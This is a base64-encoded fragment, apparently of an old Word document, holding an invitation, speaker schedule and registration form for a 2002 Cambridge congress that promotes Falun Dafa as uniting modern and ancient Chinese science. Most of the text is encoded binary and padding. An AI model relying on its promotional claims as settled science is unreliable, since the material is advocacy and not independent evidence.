YnJvdWdodCBpbW1lbnNlIGJlbmVmaXRzIHRvIGh1bWFuaXR5IGJ1dCBhbHNvIGVuY291bnRlcmVk IG1hbnkgdW5zb2x2ZWQgcXVlc3Rpb25zIGFuZCBwcm9ibGVtcyBpbmNsdWRpbmcgZW52aXJvbm1l bnRhbCBwb2xsdXRpb24uIA2gDVBlcmhhcHMgaXQgaXMgbm93IHRpbWUgZm9yIGEgZGlmZmVyZW50 IGFwcHJvYWNoOiAgRmFsdW4gRGFmYSB0YWtlcyBhIGhvbGlzdGljIHZpZXcgb2YgbGlmZSBhbmQg dGhlIHVuaXZlcnNlLiBJdCBidWlsZHMgb24gdGhlIGluc2lnaHRzIG9mIG1vZGVybiBzY2llbmNl IGFuZCBjb21iaW5lcyB0aGVtIHdpdGggdGhlIGluc2lnaHRzIGZyb20gYW5jaWVudCBDaGluZXNl IHNjaWVuY2UgYW5kIGN1bHR1cmUuIFdlLCBzY2llbnRpc3RzIHdobyB1bmRlcnN0YW5kIEZhbHVu IERhZmEsIGludml0ZSB5b3UgdG8gcGFydGljaXBhdGUgaW4gdGhlIEZpcnN0IFdvcmxkIENvbmdy ZXNzIG9mIEZ1dHVyZSBTY2llbmNlIGFuZCBDdWx0dXJlIHRoYXQgd2lsbCBiZSBoZWxkIGF0IENh bWJyaWRnZSBvbiBNYXJjaCA5dGggYW5kIDEwdGggb2YgMjAwMi4gVGhpcyBjb25ncmVzcyB3aWxs IHNlZSBzdGF0ZSBvZiB0aGUgYXJ0IHJlc2VhcmNoIGluIHRoaXMgZmllbGQgYW5kIHNlcnZlIGFz IGEgZm9ydW0gZm9yIGRpc2N1c3NpbmcgaG93IHRoZXNlIG5ldyBpZGVhcyBjb3VsZCBleGVydCBh IHByb2ZvdW5kIGluZmx1ZW5jZSBvbiB0aGUgZnV0dXJlIHNjaWVuY2UgYW5kIGN1bHR1cmUgb2Yg aHVtYW5raW5kLg0NUmVub3duZWQgc3BlY2lhbGlzdHMgYW5kIHByb2Zlc3NvcnMgaW4gZGl2ZXJz ZSBhY2FkZW1pYyBkaXNjaXBsaW5lcyBmcm9tIG1hbnkgZGlmZmVyZW50IHBhcnRzIG9mIHRoZSB3 b3JsZCB3aWxsIGJlIHBhcnRpY2lwYXRpbmcuICBBIHNjaGVkdWxlIGZvciBNYXJjaCA5dGggaXMg YXR0YWNoZWQuIE9uIE1hcmNoIDEwIHdlIHdpbGwgYmUgaG9sZGluZyBhbiBpbmZvcm1hbCBkaXNj dXNzaW9uIHNlc3Npb24gYXQgd2hpY2ggcGFydGljaXBhbnRzIGF0IHRoZSBjb25mZXJlbmNlIGNh biByYWlzZSBpc3N1ZXMgd2l0aCB0aGUgc3BlYWtlcnMuIA0NV2UgZG8gaG9wZSB0aGF0IHlvdSB3 aWxsIGJlIGFibGUgdG8gZmluZCB0aGUgdGltZSB0byBhdHRlbmQuIFBsZWFzZSBsZXQgdXMga25v dyBpZiB5b3UgaGF2ZSBhbnkgcXVlc3Rpb25zLg2gDVlvdXJzIHNpbmNlcmVseSwNDQ0LIA1EciBH dWlodWEgTGkNT3JnYW5pc2F0aW9uIENvbW1pdHRlZSBvZiBGaXJzdCBXb3JsZCBDb25ncgBlAHMA cwAgAG8AZgAgAEYAdQB0AHUAcgBlACAAUwBjAGkAZQBuAGMAZQAgAGEAbgBkACAAQwB1AGwAdAB1 AHIAZQANABMAIABIAFkAUABFAFIATABJAE4ASwAgACIAbQBhAGkAbAB0AG8AOgBmAHMAYwBfAGMA bwBuAGcAcgBlAHMAcwBAAGgAbwB0AG0AYQBpAGwALgBjAG8AbQANACIAIAABABQAZgBzAGMAXwBj AG8AbgBnAHIAZQBzAHMAQABoAG8AdABtAGEAaQBsAC4AYwBvAG0ADQAVABMAIABIAFkAUABFAFIA TABJAE4ASwAgACIAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGYAcwBjAC0AYwBvAG4AZwByAGUAcwBz AC4AbwByAGcAIgAgAAEAFABoAHQAdABwADoALwAvAHcAdwB3AC4AZgBzAGMALQBjAG8AbgBnAHIA ZQBzAHMALgBvAHIAZwAVAA0ACwANAAwADQANAA0AQwBvAG4AZwByAGUAcwBzACAAUwBjAGgAZQBk AHUAbABlAA0ADQBNAGEAcgBjAGgAIAA5ACwAIAAyADAAMAAyAA0ADQA5ABr/MAAwACAAYQBtACAA CQBPAHAAZQBuAGkAbgBnACAAUgBlAG0AYQByAGsAcwANAA0AQgBpAG8AbABvAGcAeQAgAGEAbgBk ACAATQBlAGQAaQBjAGkAbgBlAA0ADQBDAGgAYQBpAHIAOgAgAEQAaQBhAG4AbgBhACAAUgBvAGIA ZQByAHQAcwAsACAAUABoAC4ARAAuACwAIABVAG4AaQB2AC4AIABvAGYAIABUAGUAeABhAHMAIABN AC4AIABEAC4AIABBAG4AZABlAHIAcwBvAG4AIABDAGEAbgBjAGUAcgAgAEMAZQBuAHQAZQByACwA IABIAG8AdQBzAHQAbwBuACwAIABVAFMAQQANAA0AOQAa/zEANQAgAGEAbQAgAAkATABpAGwAaQAg AEYAZQBuAGcALAAgAE0ARAAsACAARABlAHAAYQByAHQAbQBlAG4AdAAgAG8AZgAgAE0AZQBkAGkA YwBpAG4AZQAsACAAQgBhAHkAbABvAHIAIABDAG8AbABsAGUAZwBlACAAbwBmACAATQBlAGQAaQBj AGkAbgBlACwAIABIAG8AdQBzAHQAbwBuACwAIABUAGUAeABhAHMALAAgAFUAUwBBACAAIAAgABwg RwBlAG4AbwBtAGUALQB3AGkAZABlACAAcAByAG8AZgBpAGwAZQBzACAAbwBmACAAZwBlAG4AZQAg AGUAeABwAHIAZQBzAHMAaQBvAG4AIABpAG4AIABuAGUAdQB0AHIAbwBwAGgAaQBsAHMAIABmAHIA bwBtACAARgBhAGwAdQBuACAARwBvAG4AZwAgAHAAcgBhAGMAdABpAHQAaQBvAG4AZQByAHMAIABh AG4AZAAgAG4AbwByAG0AYQBsACAAaABlAGEAbAB0AGgAeQAgAGMAbwBuAHQAcgBvAGwAcwAdIA0A DQA5ABr/NQAwACAAYQBtACAACQBXAGkAbABsAGkAYQBtACAARgByAGEAbgBrAGwAaQBuACAATQBj AEMAbwB5ACwAIABNAC4ARAAuACwAIABIAG8AbQBlAG8AcABhAHQAaABpAGMAIABwAGgAeQBzAGkA YwBpAGEAbgAsACAAHCBNAGUAZABpAGMAYQBsACAAUAByAGEAYwB0AGkAYwBlACAAaQBuACAAdABo AGUAIABOAGUAdwAgAEUAcgBhAB0gDQANADEAMAAa/zEAMAAgAGEAbQAJAE0AYQBpACAASABlACwA IABNAEQALAAgAFAAaABEACwAIABEAGUAcABhAHIAdABtAGUAbgB0ACAAbwBmACAAUwB1AHIAZwBl AHIAeQAsACAATgBlAHcAIABKAGUAcgBzAGUAeQAgAE0AZQBkAGkAYwBhAGwAIABTAGMAaABvAG8A bAAsACAATgBlAHcAYQByAGsALAAgAE4ASgAsACAAVQBTAEEALAAgACAAHCBIAGUAYQBsAHQAaAAg AHMAdQByAHYAZQB5ACAAbwBmACAARgBhAGwAdQBuACAARwBvAG4AZwAgAHAAcgBhAGMAdABpAHQA aQBvAG4AZQByAHMAHSAgAA0ADQAxADAAGv8gADMAMAAgAGEAbQAJAFgAaQBhAG8AZABvAG4AZwAg AFMAaABhAG8ALAAgAE0ARAAsACAAHCBXAGUAcwB0AGUAcgBuACAATQBlAGQAaQBjAGkAbgBlACwA IABDAGgAaQBuAGUAcwBlACAATQBlAGQAaQBjAGkAbgBlACwAIABBAGMAdQBwAHUAbgBjAHQAdQBy AGUALAAgAFEAaQBnAG8AbgBnACAAYQBuAGQAIABDAHUAbAB0AGkAdgBhAHQAaQBvAG4AIABQAHIA YQBjAHQAaQBjAGUAHSANAA0AMQAwABr/NQAwACAAYQBtAAkAQgByAGUAYQBrAA0ADQBOAGUAdwAg AEMAbwBuAGMAZQBwAHQAcwAgAGkAbgAgAFMAYwBpAGUAbgBjAGUADQANAEMAaABhAGkAcgA6ACAA UwBoAGkAeQB1ACAAWgBoAG8AdQAsACAAUABoAC4ARAAsACAAVQBuAGkAdgBlAHIAcwBpAHQAeQAg AG8AZgAgAFAAZQBuAG4AcwB5AGwAdgBhAG4AaQBhACwAIABQAGgAaQBsAGEAZABlAGwAcABoAGkA YQAsACAAVQBTAEEADQANADEAMQAa/zAAMAAgAGEAbQAJAEQAYQBuAGkAZQBsACAASAB1AGEAbgBn AAz/HCBTAGMAaQBlAG4AYwBlABkgcwAgAFcAYQB5ACAATwB1AHQAHSANAA0AMQAxABr/MgAwACAA YQBtAAkAUwBoAGkAeQB1ACAAWgBoAG8AdQAsACAAUABoAC4ARAAuACwAIABVAG4AaQB2AGUAcgBz AGkAdAB5ACAAbwBmACAAUABlAG4AbgBzAHkAbAB2AGEAbgBpAGEALAAgAFAAaABpAGwAYQBkAGUA bABwAGgAaQBhACwAIABVAFMAQQAsACAAHCAgAFAAcgBvAHAAaABlAGMAeQAsACAAVABpAG0AZQAg AGEAbgBkACAAUwBwAGEAYwBlAB0gDQANADEAMQAa/zQAMAAgAGEAbQAJAE4AYQB0AGEAbAB5ACAA VABlAHAAbABpAHQAcwBrAHkALAAgAFAAaAAuAEQALgAsACAATgB1AGMAbABlAGEAcgAgAE0AZQBk AGkAYwBpAG4AZQAgAFQAZQBjAGgAbgBvAGwAbwBnAGkAcwB0ACwAIABSAGUAdAAuACAAHCBCAHIA ZQBhAGsAaQBuAGcAIABUAGgAcgBvAHUAZwBoACAAdABoAGUAIABDAG8AbgB2AGUAbgB0AGkAbwBu AGEAbAAgAFMAYwBpAGUAbgB0AGkAZgBpAGMAIABQAGEAcgBhAGQAaQBnAG0AHSANAA0AMQAyADoA MAAwACAAbgBvAG8AbgAJAEQAcgAuACAAUgBhAGkAbQB1AG4AZAAgAEsAaQByAG4AZQByACwAIAAc IEYAYQBsAHUAbgAgAEQAYQBmAGEAIABhAG4AZAAgAE0AbwBkAGUAcgBuACAAUwBjAGkAZQBuAGMA ZQAdIA0ADQANAA0ADQANAA0AMQAyADoAMgAwACAAcABtAC0AMgA6ADAAMAAgAHAAbQAgAAkAIABM AHUAbgBjAGgAIABCAHIAZQBhAGsADQANAFMAbwBjAGkAYQBsACAAYQBuAGQAIABFAG4AdgBpAHIA bwBuAG0AZQBuAHQAYQBsACAAUwBjAGkAZQBuAGMAZQAgAA0ADQBDAGgAYQBpAHIAOgAgAEoAaQBu AGgAdQBhACAAWgBoAGEAbgBnACwAIABQAGgALgBEAC4ALAAgAFAAcgBvAGYAZQBzAHMAbwByACAA bwBmACAATgBlAHcAcwAgAGEAbgBkACAATQBlAGQAaQBhACwAIABUAGEAaQB3AGEAbgAgAFUAbgBp AHYAZQByAHMAaQB0AHkADQANADIAGv8wADAAIABwAG0ACQBEAHIALgAgAEgAdQBpAGwAaQBuACAA VwB1AAz/UAByAG8AZgBlAHMAcwBvAHIAIABvAGYAIABFAGMAbwBuAG8AbQBpAGMAcwAsACAAQwBo AGkAbgBlAHMAZQAgAEUAYwBvAG4AbwBtAGkAYwBzACAAUgBlAHMAZQBhAHIAYwBoACAASQBuAHMA dABpAHQAdQB0AGUALAAgAFQAYQBpAHcAYQBuACwAIAAcIFQAaABlACAASwBlAHkAIAB0AG8AIABD AG8AbgBzAHQAYQBuAHQAIABHAHIAbwB3AHQAaAAgAG8AZgAgAEUAYwBvAG4AbwBtAHkAIABMAGkA ZQBzACAAaQBuACAAdABoAGUAIABSAGUAbgBhAGkAcwBzAGEAbgBjAGUAIABvAGYAIABNAG8AcgBh AGwAaQB0AHkAHSANAA0AMgAa/zIAMAAgAHAAbQAJAFkAYQBoAHUAaQAgAEMAYQBpACwAIABQAGgA LgBEAC4AIABDAGEAbgBkAGkAZABhAHQAZQAsACAARABlAHAAYQByAHQAbQBlAG4AdAAgAG8AZgAg AFMAcABhAHQAaQBhAGwAIABQAGwAYQBuAG4AaQBuAGcALAAgAFUAbgBpAHYAZQByAHMAaQB0AHkA IABvAGYAIABEAG8AcgB0AG0AdQBuAGQALAAgAEcAZQByAG0AYQBuAHkALAAgABwgVABoAGUAIABM AGkAdgBpAG4AZwAgAFMAcABhAGMAZQAgAG8AZgAgAEgAdQBtAGEAbgAgAEIAZQBpAG4AZwBzACAA EyAgAFUAbgBpAHEAdQBlACAAQwBvAG4AYwBlAHAAdABzACAAaQBuACAAVAByAGEAZABpAHQAaQBv AG4AYQBsACAAQwBoAGkAbgBlAHMAZQAgAEMAaQB0AGkAZQBzACAAYQBuAGQAIABUAG8AdwBuAHMA GSAgAEQAZQBzAGkAZwBuAHMAHSAgAA0ADQAyABr/NAAwACAAcABtAAkARgBlAG4AZwB5AGkAIABH AGEAbwAsACAAUABoAC4ARAAgAEMAYQBuAGQAaQBkAGEAdABlACwAIABUAG8AawB5AG8AIABJAG4A ZAB1AHMAdAByAGkAYQBsACAAVQBuAGkAdgBlAHIAcwBpAHQAeQAsACAAHCBBACAATgBlAHcAIABB AHAAcAByAG8AYQBjAGgAIAB0AG8AIABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABQAHIAbwB0AGUA YwB0AGkAbwBuAC0AIABJAG0AcAByAG8AdgBpAG4AZwAgAHQAaABlACAATQBvAHIAYQBsACAAUwB0 AGEAbgBkAGEAcgBkAB0gIAANAA0AMwAa/zAAMAAgAHAAbQAJAEsAZQBhAG4AIABXAG8AbgBnACwA IABEAGkAcgBlAGMAdABvAHIAIABvAGYAIABaAFMAUgAgAEMAbwBuAHMAdQBsAHQAaQBuAGcAIABG AGkAcgBtACwAIABBAHUAcwB0AHIAYQBsAGkAYQAsACAAQwBoAGkAbgBhABkgcwAgAEUAYwBvAG4A bwBtAGkAYwAgAGEAbgBkACAAUwBvAGMAaQBhAGwAIABSAGUAbgBhAGkAcwBzAGEAbgBjAGUAOgAg AEYAYQBsAHUAbgAgAEcAbwBuAGcAIABhAG4AZAAgAHQAaABlACAAcgBpAHMAZQAgAG8AZgAgAFQA cgB1AHQAaAAtAEMAbwBtAHAAYQBzAHMAaQBvAG4ALQAgAEYAbwByAGIAZQBhAHIAYQBuAGMAZQAN AA0AMwAa/zIAMAAgAHAAbQAJAEIAcgBlAGEAawANAA0AQQByAHQAcwAgAGEAbgBkACAAQwB1AGwA dAB1AHIAZQBzAA0ADQBDAGgAYQBpAHIAIABEAGEAbgBhACAAQwBoAGUAbgBnACwAIABQAGgALgBE AA0ADQAzABr/MwAwACAAcABtAAkAQwBoAHUAbgBtAGEAbgAgAEcAYQBvAAz/UAByAG8AZgBlAHMA cwBvAHIAIABvAGYAIABDAGgAZQBtAGkAYwBhAGwAIABFAG4AZwBpAG4AZQBlAHIAaQBuAGcALAAg AFQAcwBpAG4AZwBoAHUAYQAgAFUAbgBpAHYAZQByAHMAaQB0AHkALAAgAEIAZQBpAGoAaQBuAGcA LAAgAEMAaABpAG4AYQAsACAAHCBFAGQAdQBjAGEAdABpAG8AbgAgAGkAbgAgAEYAdQB0AHUAcgBl AB0gKABDAGgAaQBuAGUAcwBlACwAIABjAGEAbgAgAGIAZQAgAHIAZQBwAGwAYQBjAGUAZAAgAGkA ZgAgAHQAaABlAHIAZQAgAGkAcwAgAGEAIABiAGUAdAB0AGUAcgAgAG8AbgBlACkADQANADMAGv81 ADAAIABwAG0ACQAgAEwAbwByAHIAYQBpAG4AZQAgAEsAYQBiAGEAYwBpAG4AcwBrAGkALAAgAE0A LgAgAFMALgAsACAASABvAGwAaQBzAHQAaQBjACAASABlAGEAbAB0AGgAIABQAHIAYQBjAHQAaQB0 AGkAbwBuAGUAcgAsACAAHCBLAGEAcgBtAGEAGSBzACAAUgBvAGwAZQAgAGkAbgAgAEkAbABsAG4A ZQBzAHMAIABhAG4AZAAgAEMAbwBuAHQAZQBtAHAAbwByAGEAcgB5ACAAUABhAHIAYQBkAGkAZwBt AHMAIABmAG8AcgAgAEEAdAB0AGEAaQBuAGkAbgBnACAATwBwAHQAaQBtAHUAbQAgAEgAZQBhAGwA dABoAB0gDQANADQAGv8xADAAIABwAG0ACQBDAHUAaQB5AGkAbgBnACAAWgBoAGEAbgBnAAz/QQBy AHQAaQBzAHQALAAgAEEAdQBzAHQAcgBhAGwAaQBhACwAIAAcIEEAcgB0ACAAbwBmACAAQwBoAGkA bgBlAHMAZQAgAFAAYQBpAG4AdABpAG4AZwAgAGEAbgBkACAAQwB1AGwAdABpAHYAYQB0AGkAbwBu AB0gDQANADQAIAA6ACAAMwAwACAAcABtAAkAQwBsAG8AcwBpAG4AZwAgAFIAZQBtAGEAcgBrAHMA DQAMAA0ADQANAA0ADQAxAHMAdAAgAFcAbwByAGwAZAAgAEMAbwBuAGcAcgBlAHMAcwAgAG8AZgAg AEYAdQB0AHUAcgBlACAAUwBjAGkAZQBuAGMAZQAgAGEAbgBkACAAQwB1AGwAdAB1AHIAZQANACAA DQBSAGUAZwBpAHMAdAByAGEAdABpAG8AbgAgAEYAbwByAG0ADQAoAFQAaABlAHIAZQAgAGkAcwAg AG4AbwAgAHIAZQBnAGkAcwB0AHIAYQB0AGkAbwBuACAAZgBlAGUAIABmAG8AcgAgAHQAaABlACAA YwBvAG4AZgBlAHIAZQBuAGMAZQAgAGIAdQB0ACAAYQBsAGwAIABwAGFydGljaXBhbnRzIGFyZSBy ZXNwb25zaWJsZSBmb3IgdGhlaXIgb3duIHRyYXZlbCwgbG9kZ2luZywgYW5kIGluY2lkZW50YWwg ZXhwZW5zZXMuKQ0gDVRvcCBvZiBGb3JtIDENE1BSSVZBVEUBFUZpcnN0IE5hbWUHTGFzdCBuYW1l B1RpdGxlIChNci4sIE1zLiwgRHIuLCBQcm9mKSAHBwcHBwcNWW91ciBhZmZpbGlhdGlvbiAob3B0 aW9uYWwpOg0LDRNQUklWQVRFARVDaXR5B1Byb3ZpbmNlB0NvdW50cnkgBwcTUFJJVkFURQEVBwcH Bw1FbWFpbDoNUGhvbmUgKE9wdGlvbmFsKToNRmF4IChPcHRpb25hbCk6DVBvc3RhbCBhZGRyZXNz IChPcHRpb25hbCk6DQ0NSWYgeW91IG5lZWQgYWRkaXRpb25hbCBpbmZvcm1hdGlvbiBhYm91dCB0 aGUgY29uZmVyZW5jZSwgcGxlYXNlIHdyaXRlIGRvd24geW91ciByZXF1ZXN0IGFuZCBzZW5kIGl0 IGFsb25nIHdpdGggdGhlIHJlZ2lzdHJhdGlvbiBmb3JtIHRvOiANDUZpcnN0IFdvcmxkIENvbmdy ZXNzIG9mIEZ1dHVyZSBTY2llbmNlIGFuZCBDdWx0dXJlDTEgTWFnZGFsZW5lIENsb3NlLCBMb25n c3RhbnRvbiwgQ2FtYnJpZGdlIENCNCA1RUcsIFVuaXRlZCBLaW5nZG9tDQ1BbHRlcm5hdGl2ZWx5 LCB5b3UgY2FuIHJlZ2lzdGVyIGJ5IHNlbmRpbmcgYW4gZW1haWwgdG86IBMgSFlQRVJMSU5LICJt YWlsdG86ZnNjX2NvbmdyZXNzQGhvdG1haWwuY29tIiABFGZzY19jb25ncmVzc0Bob3RtYWlsLmNv bRUuDQ0IDQ0TUEFHRSAgFDEVDQ0NE1BBR0UgIBQxFQ0NDQ0NDQ0NDUZpcnN0IFdvcmxkIENvbmdy ZXNzIG9mIEZ1dHVyZSBTY2llbmNlIGFuZCBDdWx0dXJlDU1hcmNoIDktMTAsIDIwMDIsIENhbWJy aWRnZSwgVW5pdGVkIEtpbmdkb20NDQENDQ0NAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAQQAAAIEAAADBAAAPAQAAKMF AAAzBwAANQcAADwHAAA+BwAAgQkAAMYJAADHCQAARgoAAEgKAACeCgAAoAoAAKQKAACmCgAAqAoA ANgKAADaCgAA3goAADALAAAyCwAANAsAAGoLAABsCwAAcAsAAHILAAB6CwAAngsAAKALAAC8CwAA vgsAAMALAADCCwAA8AsAAPILAAAcDAAA0gwAANQMAAB+DgAAgA4AADwPAAD06uTh2uHW4dbh0crR v8rRyrG/qKG/ypO/qL/K4QCQAIkAh32HAIcAdQB1AAAAAAAAAAAAAAAPUEoEAG1ICQhvKAFzSAkI EjUIgVBKBABtSAkIbygBc0gJCAADNQiBDUIqAENKGABwaAAAAP8EUEoDAAAbAgiBA2rpAAAABggB Q0oUAE9KAgBRSgIAVQgBDDBKDwBDShYAUEoEAAAQMEoPAENKFABPSgIAUUoCAAAbAgiBA2oAAAAA BggBQ0oUAE9KAgBRSgIAVQgBFQNqAAAAAENKFABPSgIAUUoCAFUIAQxDShQAT0oCAFFKAgAACENK FgBQSgQAAAdDShYASCoBDENKFgBPSgAAUUoAAAAEQ0oWAAALNQiBT0oDAFFKAwATNQiBT0oDAFFK AwBtSAkIc0gJCBY1CIFPSgMAUUoDAG1ICQhvKAFzSAkILAAEAAABBAAAAgQAAAMEAAAdBAAAHgQA ACAEAAA6BAAAPAQAAKMFAAClBQAAEAgAABEIAABFCQAARgkAALEJAACzCQAAxAkAAMUJAADGCQAA yQkAANYJAABGCgAAoAoAANoKAABuCwAAcgsAAHYLAAB4CwAA+gAAAAAAAAAAAAAAAPoAAAAAAAAA AAAAAAD6AAAAAAAAAAAAAAAA+AAAAAAAAAAAAAAAAPgAAAAAAAAAAAAAAAD4AAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAPgAAAAAAAAAAAAAAAD2AAAAAAAAAAAAAAAA+AAAAAAAAAAAAAAAAPgAAAAA AAAAAAAAAAD4AAAAAAAAAAAAAAAA+AAAAAAAAAAAAAAAAPgAAAAAAAAAAAAAAAD4AAAAAAAAAAAA AAAA+AAAAAAAAAAAAAAAAPgAAAAAAAAAAAAAAAD4AAAAAAAAAAAAAAAA+AAAAAAAAAAAAAAAAPgA AAAAAAAAAAAAAAD4AAAAAAAAAAAAAAAA+AAAAAAAAAAAAAAAAPgAAAAAAAAAAAAAAAD4AAAAAAAA AAAAAAAA+AAAAAAAAAAAAAAAAPgAAAAAAAAAAAAAAAD4AAAAAAAAAAAAAAAA+AAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAABEQAAAQAAAAQAAAMkAWEkAQAcAAQAAMIiAADgIgAA5SIAAEkjAAD+/v7+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIBAQR4CwAAegsAAJ4LAACgCwAAvAsAAL4LAADw CwAA8gsAABwMAAAeDAAAzgwAANAMAAB6DgAAfA4AADwPAAA+DwAAVBAAAFYQAAA2EQAAOBEAAFYR AABYEQAAiBEAAIoRAAAYEgAAGhIAAP0AAAAAAAAAAAAAAAD7AAAAAAAAAAAAAAAA/QAAAAAAAAAA AAAAAPkAAAAAAAAAAAAAAADzAAAAAAAAAAAAAAAA8wAAAAAAAAAAAAAAAPMAAAAAAAAAAAAAAADz AAAAAAAAAAAAAAAA8wAAAAAAAAAAAAAAAPMAAAAAAAAAAAAAAADzAAAAAAAAAAAAAAAA6QAAAAAA AAAAAAAAAPMAAAAAAAAAAAAAAADbAAAAAAAAAAAAAAAA8wAAAAAAAAAAAAAAANsAAAAAAAAAAAAA AADzAAAAAAAAAAAAAAAA2wAAAAAAAAAAAAAAAPMAAAAAAAAAAAAAAADzAAAAAAAAAAAAAAAA8wAA AAAAAAAAAAAAAPMAAAAAAAAAAAAAAADzAAAAAAAAAAAAAAAA8wAAAAAAAAAAAAAAAPMAAAAAAAAA AAAAAAAAAAAAAAAAAAAOAAAPhKAFEYRg+jckADgkAEgkAF6EoAVghGD6AAkAAA+EoAURhGD6XoSg BWCEYPoGAAA3JAA4JABIJAAAAQEAAAECAAABAAAAGTwPAABCDwAARA8AAFAPAABWEAAAWhAAAFwQ AACEEAAAiBAAAJAQAAA8EQAAPhEAAFgRAACKEQAAHhIAACASAABEEgAARhIAAFYSAABYEgAAdBIA AHYSAABEEwAARhMAAFITAAC8FAAAzBQAANAUAADcFAAA4BQAAAgVAABIFQAA6BUAAOoVAAAQFgAA EhYAAJwWAAA6FwAAPBcAAEYYAABIGAAA1BgAANYYAAD6GAAAUhkAAOwZAADuGQAAMBsAADIbAABM 